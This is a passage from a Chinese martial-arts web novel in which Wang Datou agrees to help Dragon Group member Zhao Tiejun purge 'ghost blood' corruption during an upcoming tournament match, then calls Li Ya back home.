“但他说的是事实。”南宫明月道,“师父生前说过,华夏武道界看似团结,实则暗流涌动。境外势力渗透,内部人心不齐。若无人站出来整合,迟早会出大乱。”
王大头走到窗边,看着窗外的夜色:“不管靠不靠谱,我们已经没有退路了。签了那份协议,龙门就和龙组绑在了一起。现在要做的,是尽快提升实力。”
他转身看向两人:“猛哥,你这几天把硬功突破到第七层。明月,洗髓丹的药效还没完全吸收,抓紧时间巩固。八强赛对青城剑派,不会轻松。”
“那你呢?”
张猛问。
“我要去个地方。”王大头眼中闪过一道精光,“见个人。”
凌晨两点,基地一片寂静。
王大头换上一身黑色运动服,悄无声息地离开医疗中心,朝基地深处走去。
根据老陈给的内部地图,龙组的临时驻地就在基地东南角,一栋不起眼的三层小楼。
小楼外没有守卫,但王大头的《危机感知》却在疯狂预警——至少有五道强大的气息隐藏在暗处,每一道都不弱于化劲初期。
他深吸一口气,走到小楼门口。
门自动开了。
一楼大厅空荡荡的,只有一张桌子和几把椅子。赵铁军坐在桌前,正在擦拭一把**。听到脚步声,他头也不抬:“来了?”
“你知道我会来?”
王大头走到他对面坐下。
“老陈通知的。”
赵铁军放下**,抬起头。他的眼睛很特别,瞳孔深处隐隐有血色流动,但很快被压了下去。
“鬼血的影响?”
王大头直接问。
赵铁军动作一顿,随即笑了:“你比我想的胆子大。没错,三个月前在边境,我们小队遭遇伊贺流忍者和南洋降头师的伏击。为了掩护队友,我注射从敌人身上缴获的‘强化剂’,后来才知道那是‘鬼血’的原液。”
他挽起袖子,露出手臂——上面布满了暗红色的血管纹路,如同蛛网般蔓延。<
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br>“每天要用内力压制三次,否则就会失控。”
赵铁军语气平静,“老陈说,你能帮我。”
“我?”
王大头皱眉,“我连鬼血是什么都不清楚。”
“但你有这个。”
赵铁军从怀里掏出一块玉佩——正是老陈给王大头的那块,但现在在赵铁军手里。
王大头摸了下胸口,玉佩果然不见了。他竟完全没有察觉!
“别紧张,刚才见面时顺手拿的。”
赵铁军把玉佩推回来,“这东西叫‘清心玉’,是龙组特制,能压制鬼血的狂暴气息。但对我效果越来越弱了。”
他盯着王大头:“老陈说,你的内力很特别,中正平和却又充满生机。鬼血本质是透支生命力的邪物,或许你的内力能化解。”
王大头沉默片刻:“你想让我怎么帮?”
“比赛时,全力和我打。”
赵铁军眼中闪过战意,“只有在极限战斗中,我的意志才能彻底激发。到时候,你用内力侵入我体内,尝试净化鬼血。”
“很危险。”王大头摇头,“如果我控制不好,你会死。”
“总比变成怪物强。”赵铁军起身,“三天后基地见。对了,提醒你一句——青城剑派那个林惊羽,不简单。他可能也接触过鬼血。”
说完,他转身走上楼梯。
王大头坐在空荡的大厅里,看着手中的清心玉,陷入了沉思。
鬼血、伊贺流、南洋降头师、龙组内部的隐患……这个世界,远比他想象的要复杂。
而龙门,已经被推到了风口浪尖。
凌晨四点,王大头回到医疗中心。
南宫明月还在打坐调息,张猛则趴在床边睡着了。月光透过窗户洒进来,给病房镀上一层银色。
王大头没有惊动他们,独自走到阳台,拿出手机。
通讯录里只有一个号码——李雅。
他拨了过去。
“喂?”
电话那头传来李雅略带睡意的声音,“大头?这么晚了,出什么事了?”
“没事,就是想听听你的声音。”
王大头靠在栏杆上,“江南那边怎么样?”
“都挺好的。”
李雅清醒了些,“药膳店这个月又开了两家分店,利润比上个月增长百分之三十。武道学院那边,赵师傅说第一批学员已经有三个突破明劲了。”
她顿了顿:“你呢?比赛还顺利吗?我听说明月中了毒……”
“已经治好了。”
王大头简单说了情况,“对了,最近如果遇到什么可疑的人或事,立刻联系我。雷家虽然倒了,但可能有余孽。”
李雅沉默片刻:“大头,你是不是遇到麻烦了?”
“不算麻烦,是选择。”
王大头看着夜空,“龙门要和龙组合作了。以后的路,可能会更危险。”
电话那头传来轻笑:“从你创建龙门那天起,我就知道这条路不平凡。放心去做吧,江南这边有我。记住,你不是一个人。”
“嗯。”
王大头心里涌起一股暖流,“等我比完赛就回去。”
挂断电话,东方已经泛起了鱼肚白。
新的一天要开始了。
而八强赛,就在明天。
王大头回到病房,南宫明月已经结束调息,正看着他。
“你去找赵铁军了?”她问。
“嗯。”
王大头点头,“他情况很糟,鬼血已经侵蚀到心脉了。”
“所以你打算在比赛中救他?”
“试试看。”
王大头盘膝坐下,“明月,你对鬼血了解多少?”
南宫明月回忆道:“师父提过,那是南洋黑巫术和日本阴阳术结合的产物。用七七四十九个枉死之人的心头血,混合邪毒炼制而成。服用者能短时间内获得强大力量,但会逐渐丧失理智,最后变成只知道饮血的怪物。”
她顿了顿:“二十年前,伊贺流曾用鬼血控制了一批华夏武者,制造了多起血案。师父和几位前辈联手,才将其剿灭。没想到,二十年后又出现了。”
“看来伊贺流这次卷土重来,准备得很充分。”
王大头眼神冰冷,“不过他们找错了对手。”
他闭上眼,开始运转《基础吐纳术》。
距离比赛还有一天,他需要将状态调整到最佳。